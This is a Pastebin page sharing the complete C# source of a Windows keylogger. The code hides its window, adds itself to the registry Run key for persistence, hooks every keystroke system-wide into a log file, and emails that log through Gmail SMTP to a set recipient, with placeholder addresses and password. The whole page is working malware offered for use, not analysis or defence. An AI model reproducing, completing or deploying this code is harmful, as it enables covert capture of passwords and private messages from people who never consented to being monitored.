Advertisement
Zeyter

C# Keylogger

May 20th, 2017
10,704
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 11.22 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Threading.Tasks;
  9. using System.Windows.Forms;
  10. using System.Runtime.InteropServices;
  11. using System.IO;
  12. using System.Net.Mail;
  13. using Microsoft.Win32;
  14.  
  15. namespace KeyLogger
  16. {
  17.  
  18.    class globalKeyboardHook
  19.     {
  20.         #region Constant, Structure and Delegate Definitions
  21.         public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
  22.  
  23.         public struct keyboardHookStruct
  24.         {
  25.             public int vkCode;
  26.             public int scanCode;
  27.             public int flags;
  28.             public int time;
  29.             public int dwExtraInfo;
  30.         }
  31.  
  32.         const int WH_KEYBOARD_LL = 13;
  33.         const int WM_KEYDOWN = 0x100;
  34.         const int WM_KEYUP = 0x101;
  35.         const int WM_SYSKEYDOWN = 0x104;
  36.         const int WM_SYSKEYUP = 0x105;
  37.         private keyboardHookProc hookProcDelegate;
  38.         #endregion
  39.  
  40.         #region Instance Variables
  41.         public List<Keys> HookedKeys = new List<Keys>();
  42.         IntPtr hhook = IntPtr.Zero;
  43.         #endregion
  44.  
  45.         #region Events
  46.         public event KeyEventHandler KeyDown;
  47.         public event KeyEventHandler KeyUp;
  48.         #endregion
  49.  
  50.         #region Constructors and Destructors
  51.         public globalKeyboardHook()
  52.         {
  53.             hookProcDelegate = hookProc;
  54.             hook();
  55.         }
  56.  
  57.         ~globalKeyboardHook()
  58.         {
  59.             unhook();
  60.         }
  61.         #endregion
  62.  
  63.         #region Public Methods
  64.         public void hook()
  65.         {
  66.             IntPtr hInstance = LoadLibrary("User32");
  67.             hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProcDelegate, hInstance, 0);
  68.         }
  69.  
  70.         public void unhook()
  71.         {
  72.             UnhookWindowsHookEx(hhook);
  73.         }
  74.  
  75.         public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
  76.         {
  77.             if (code >= 0)
  78.             {
  79.                 Keys key = (Keys)lParam.vkCode;
  80.                 if (HookedKeys.Contains(key))
  81.                 {
  82.                     KeyEventArgs kea = new KeyEventArgs(key);
  83.                     if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
  84.                     {
  85.                         KeyDown(this, kea);
  86.                     }
  87.                     else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
  88.                     {
  89.                         KeyUp(this, kea);
  90.                     }
  91.                     if (kea.Handled)
  92.                         return 1;
  93.                 }
  94.             }
  95.             return CallNextHookEx(hhook, code, wParam, ref lParam);
  96.         }
  97.         #endregion
  98.  
  99.         #region DLL imports
  100.         [DllImport("user32.dll")]
  101.         static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
  102.  
  103.         [DllImport("user32.dll")]
  104.         static extern bool UnhookWindowsHookEx(IntPtr hInstance);
  105.  
  106.         [DllImport("user32.dll")]
  107.         static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
  108.  
  109.         [DllImport("kernel32.dll")]
  110.         static extern IntPtr LoadLibrary(string lpFileName);
  111.         #endregion
  112.     }
  113.  
  114.  
  115.     public partial class Form1 : Form
  116.     {
  117.         public Form1()
  118.         {
  119.             InitializeComponent();
  120.             this.Opacity = 0;
  121.             this.ShowInTaskbar = false;
  122.             email_send();
  123.         }
  124.  
  125.         private void Form1_Load(object sender, EventArgs e)
  126.         {
  127.             RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  128.             IsStartupItem();
  129.             if (!IsStartupItem()) { rkApp.SetValue("Application Name", Application.ExecutablePath.ToString()); }
  130.  
  131.             globalKeyboardHook gkh = new globalKeyboardHook();
  132.             gkh.HookedKeys.Add(Keys.A);
  133.             gkh.HookedKeys.Add(Keys.B);
  134.             gkh.HookedKeys.Add(Keys.C);
  135.             gkh.HookedKeys.Add(Keys.D);
  136.             gkh.HookedKeys.Add(Keys.E);
  137.             gkh.HookedKeys.Add(Keys.F);
  138.             gkh.HookedKeys.Add(Keys.G);
  139.             gkh.HookedKeys.Add(Keys.H);
  140.             gkh.HookedKeys.Add(Keys.I);
  141.             gkh.HookedKeys.Add(Keys.J);
  142.             gkh.HookedKeys.Add(Keys.K);
  143.             gkh.HookedKeys.Add(Keys.L);
  144.             gkh.HookedKeys.Add(Keys.M);
  145.             gkh.HookedKeys.Add(Keys.N);
  146.             gkh.HookedKeys.Add(Keys.O);
  147.             gkh.HookedKeys.Add(Keys.P);
  148.             gkh.HookedKeys.Add(Keys.Q);
  149.             gkh.HookedKeys.Add(Keys.R);
  150.             gkh.HookedKeys.Add(Keys.S);
  151.             gkh.HookedKeys.Add(Keys.T);
  152.             gkh.HookedKeys.Add(Keys.U);
  153.             gkh.HookedKeys.Add(Keys.V);
  154.             gkh.HookedKeys.Add(Keys.W);
  155.             gkh.HookedKeys.Add(Keys.X);
  156.             gkh.HookedKeys.Add(Keys.Y);
  157.             gkh.HookedKeys.Add(Keys.Z);
  158.             gkh.HookedKeys.Add(Keys.Back);
  159.             gkh.HookedKeys.Add(Keys.Capital);
  160.             gkh.HookedKeys.Add(Keys.CapsLock);
  161.             gkh.HookedKeys.Add(Keys.Enter);
  162.             gkh.HookedKeys.Add(Keys.Space);
  163.             gkh.HookedKeys.Add(Keys.NumPad0);
  164.             gkh.HookedKeys.Add(Keys.NumPad1);
  165.             gkh.HookedKeys.Add(Keys.NumPad2);
  166.             gkh.HookedKeys.Add(Keys.NumPad3);
  167.             gkh.HookedKeys.Add(Keys.NumPad4);
  168.             gkh.HookedKeys.Add(Keys.NumPad5);
  169.             gkh.HookedKeys.Add(Keys.NumPad6);
  170.             gkh.HookedKeys.Add(Keys.NumPad7);
  171.             gkh.HookedKeys.Add(Keys.NumPad8);
  172.             gkh.HookedKeys.Add(Keys.NumPad9);
  173.             gkh.HookedKeys.Add(Keys.D0);
  174.             gkh.HookedKeys.Add(Keys.D1);
  175.             gkh.HookedKeys.Add(Keys.D2);
  176.             gkh.HookedKeys.Add(Keys.D3);
  177.             gkh.HookedKeys.Add(Keys.D4);
  178.             gkh.HookedKeys.Add(Keys.D5);
  179.             gkh.HookedKeys.Add(Keys.D6);
  180.             gkh.HookedKeys.Add(Keys.D7);
  181.             gkh.HookedKeys.Add(Keys.D8);
  182.             gkh.HookedKeys.Add(Keys.D9);
  183.             gkh.HookedKeys.Add(Keys.Delete);
  184.             gkh.HookedKeys.Add(Keys.Oemcomma);
  185.             gkh.HookedKeys.Add(Keys.Oem1);
  186.             gkh.HookedKeys.Add(Keys.Oem102);
  187.             gkh.HookedKeys.Add(Keys.Oem2);
  188.             gkh.HookedKeys.Add(Keys.Oem3);
  189.             gkh.HookedKeys.Add(Keys.Oem4);
  190.             gkh.HookedKeys.Add(Keys.Oem5);
  191.             gkh.HookedKeys.Add(Keys.Oem6);
  192.             gkh.HookedKeys.Add(Keys.Oem7);
  193.             gkh.HookedKeys.Add(Keys.Oem8);
  194.             gkh.HookedKeys.Add(Keys.OemBackslash);
  195.             gkh.HookedKeys.Add(Keys.OemClear);
  196.             gkh.HookedKeys.Add(Keys.OemCloseBrackets);
  197.             gkh.HookedKeys.Add(Keys.OemMinus);
  198.             gkh.HookedKeys.Add(Keys.OemOpenBrackets);
  199.             gkh.HookedKeys.Add(Keys.OemPeriod);
  200.             gkh.HookedKeys.Add(Keys.OemPipe);
  201.             gkh.HookedKeys.Add(Keys.Oemplus);
  202.             gkh.HookedKeys.Add(Keys.OemQuestion);
  203.             gkh.HookedKeys.Add(Keys.OemQuotes);
  204.             gkh.HookedKeys.Add(Keys.OemSemicolon);
  205.             gkh.HookedKeys.Add(Keys.Oemtilde);
  206.             gkh.HookedKeys.Add(Keys.RShiftKey);
  207.             gkh.HookedKeys.Add(Keys.LShiftKey);
  208.             gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
  209.         }
  210.  
  211.         void gkh_KeyDown(object sender, KeyEventArgs e)
  212.         {
  213.             string path = @"C:\Users\*User*\Desktop\Results.txt";
  214.  
  215.             string content = e.KeyCode.ToString();
  216.             if(content == "Return") { content = " <ENTER> "; }
  217.             else if (content == "Back") { content = " <BACK> "; }
  218.             else if (content == "Capital") { content = " <CAPS_LOCKS> "; }
  219.             else if (content == "Delete") { content = " <DELETE> "; }
  220.             else if (content == "Space") { content = " "; }
  221.             else if (content == "D1") { content = "1"; } else if (content == "NumPad1") { content = "1"; }
  222.             else if (content == "D2") { content = "2"; } else if (content == "NumPad2") { content = "2"; }
  223.             else if (content == "D3") { content = "3"; } else if (content == "NumPad3") { content = "3"; }
  224.             else if (content == "D4") { content = "4"; } else if (content == "NumPad4") { content = "4"; }
  225.             else if (content == "D5") { content = "5"; } else if (content == "NumPad5") { content = "5"; }
  226.             else if (content == "D6") { content = "6"; } else if (content == "NumPad6") { content = "6"; }
  227.             else if (content == "D7") { content = "7"; } else if (content == "NumPad7") { content = "7"; }
  228.             else if (content == "D8") { content = "8"; } else if (content == "NumPad8") { content = "8"; }
  229.             else if (content == "D9") { content = "9"; } else if (content == "NumPad9") { content = "9"; }
  230.             else if (content == "D0") { content = "0"; } else if (content == "NumPad0") { content = "0"; }
  231.             else if (content == "Oemcomma"){ content = ","; }
  232.             else if (content == "Oem1") { content = "è"; }
  233.             else if (content == "Oemtilde") { content = "ò"; }
  234.             else if (content == "Oem7") { content = "à"; }
  235.             else if (content == "OemQuestion") { content = "ù"; }
  236.             else if (content == "Oem5") { content = "\\"; }
  237.             else if (content == "OemBackSlash") { content = "<"; }
  238.             else if (content == "Oem6") { content = "ì"; }
  239.             else if (content == "OemOpenBrackets") { content = "'"; }
  240.             else if (content == "Oemplus") { content = "+"; }
  241.             else if (content == "OemPeriod") { content = "."; }
  242.             else if (content == "OemMinus") { content = "-"; }
  243.             else if (content == "LShiftKey") { content = " <Shift_SX> "; }
  244.             else if (content == "RShiftKey") { content = " <Shift_DX> "; }
  245.             File.AppendAllText(path, content);
  246.         }
  247.  
  248.         private bool IsStartupItem()
  249.         {
  250.             RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  251.             if (rkApp.GetValue("Nome Applicazione") == null)
  252.                 return false;
  253.             else
  254.                 return true;
  255.         }
  256.  
  257.         public void email_send()
  258.         {
  259.             try
  260.             {
  261.                 MailMessage mail = new MailMessage();
  262.                 SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
  263.                 SmtpServer.EnableSsl = true;
  264.                 mail.From = new MailAddress("Email_Sender@gmail.com");
  265.                 mail.To.Add("Email_Recipient@gmail.com");
  266.                 mail.Subject = "New logs";
  267.                 mail.Body = "New logs!";
  268.                 System.Net.Mail.Attachment attachment;
  269.                 attachment = new System.Net.Mail.Attachment(@"C:\Users\*User*\Desktop\Results.txt");
  270.                 mail.Attachments.Add(attachment);
  271.  
  272.                 SmtpServer.Port = 587;
  273.                 SmtpServer.Credentials = new System.Net.NetworkCredential("Email_Sender@gmail.com", "Password");
  274.                 SmtpServer.EnableSsl = true;
  275.  
  276.                 SmtpServer.Send(mail);
  277.        
  278.                 attachment.Dispose();
  279.                 SmtpServer.Dispose();
  280.             }
  281.             catch (Exception ex) { }
  282.         }
  283.     }
  284. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement